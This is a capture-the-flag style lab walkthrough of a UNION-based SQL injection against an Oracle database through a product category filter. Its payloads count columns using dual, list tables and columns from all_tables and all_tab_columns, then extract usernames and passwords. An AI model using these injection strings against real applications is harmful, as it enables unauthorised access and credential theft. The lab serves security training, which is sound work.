Lab: SQL injection attack, listing the database contents on Oracle

Description: This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response so you can use a UNION attack to retrieve data from other tables. The application has a login function, and the database contains a table that holds usernames and passwords. You need to determine the name of this table and the columns it contains, then retrieve the contents of the table to obtain the username and password of all users.
Goal: To solve the lab, log in as the administrator user.
Hint: There is a built-in table on Oracle called dual which you can use for this purpose. For example: UNION SELECT 'abc' FROM dual

Exp

Determine # of columns

Payload: ?category=Lifestyle' union select NULL,NULL from dual--
Determine which column contained text string Payload: ?category=Lifestyle' union select 'a','b'from dual--
According to cheat sheet

We can use all_tables to search table_name For instance: SELECT * FROM all_tables Payload: ?category=Lifestyle' union select table_name,NULL from all_tables--
Then tried the specific one - USERS_LXJEEY

Payload: ?category=Gifts' union SELECT COLUMN_NAME,NULL FROM all_tab_columns WHERE table_name = 'USERS_LXJEEY'--
Tried dig deeper

Payload: ?category=Gifts' union SELECT USERNAME_YRYUYR,PASSWORD_OUTVCI FROM USERS_LXJEEY--